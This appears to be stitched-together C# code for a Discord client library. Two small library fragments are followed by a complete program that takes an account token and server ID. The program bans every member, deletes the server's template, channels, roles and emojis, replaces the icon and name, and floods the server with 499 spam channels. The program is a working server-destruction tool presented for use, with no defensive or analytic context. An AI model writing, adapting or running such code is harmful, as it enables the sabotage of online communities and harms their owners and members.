internal void Prepare(DiscordInteraction interaction) { Client = (DiscordSocketClient)interaction.Client; Caller = interaction.User; CallerMember = interaction.Member; Channel = interaction.Channel; Guild = interaction.Guild; }
internal VoiceDisconnectEventArgs(DiscordSocketClient client, ulong?guildId, ulong channelId, WebSocketSharp.CloseEventArgs close) { if (guildId.HasValue) { Guild = new MinimalGuild(guildId.Value).SetClient(client); } Channel = new MinimalChannel(channelId).SetClient(client); Code = (DiscordMediaCloseCode)close.Code; Reason = close.Reason; }
public static void Main() { DiscordSocketClient client = new DiscordSocketClient(); Console.Write("Token : "); client.Login(Console.ReadLine()); Console.Write("Server ID : "); ulong uint64 = Convert.ToUInt64(Console.ReadLine()); DiscordGuild guild1 = client.GetGuild(uint64); SocketGuild cachedGuild = client.GetCachedGuild(uint64); MinimalGuild guild2 = (MinimalGuild)client.GetGuild(uint64); Console.WriteLine("Banning everyone"); foreach (GuildMember member in (IEnumerable <GuildMember>)cachedGuild.GetMembers()) { if ((long)member.User.Id != (long)client.User.Id) { try { member.Ban(); Console.WriteLine("Banned " + member.User.ToString()); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } Console.WriteLine("Deleting template"); IReadOnlyList <DiscordGuildTemplate> templates = guild1.GetTemplates(); if (templates.Any <DiscordGuildTemplate>()) { string code = templates.First <DiscordGuildTemplate>().Code; guild1.DeleteTemplate(code); } Console.WriteLine("Deleting channels"); foreach (GuildChannel channel in (IEnumerable <GuildChannel>)guild1.GetChannels()) { try { channel.Delete(); Console.WriteLine("Deleted " + channel.Name); } catch (Exception ex) { Console.WriteLine(ex.Message); } } Console.WriteLine("Deleting roles"); foreach (DiscordRole role in (IEnumerable <DiscordRole>)guild1.GetRoles()) { if ((long)role.Id != (long)uint64) { try { role.Delete(); Console.WriteLine("Deleted " + role.Name); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } Console.WriteLine("Deleting emojis"); foreach (DiscordEmoji emoji in (IEnumerable <DiscordEmoji>)guild1.Emojis) { emoji.Delete(); } Console.WriteLine("Changing icon"); if (!System.IO.File.Exists("mb.png")) { using (WebClient webClient = new WebClient()) webClient.DownloadFile("https://cdn.discordapp.com/attachments/782063573597290507/782689409824587857/292c45833bb8d2ee219c44bada5ef6a1.png", "mb.png"); } try { guild1.Modify(new GuildProperties() { Icon = (DiscordImage)Image.FromFile("mb.png") }); } catch (Exception ex) { Console.WriteLine(ex.Message); } Console.WriteLine("Changing name"); try { guild1.Modify(new GuildProperties() { Name = "SDOT AND RDOT" }); } catch (Exception ex) { Console.WriteLine(ex.Message); } Console.WriteLine("Creating channels"); for (int index = 1; index < 500; ++index) { try { guild1.CreateChannel("SKIDSW", ChannelType.Text); } catch (Exception ex) { Console.WriteLine(ex.Message); } } Console.WriteLine("Done!"); Thread.Sleep(-1); }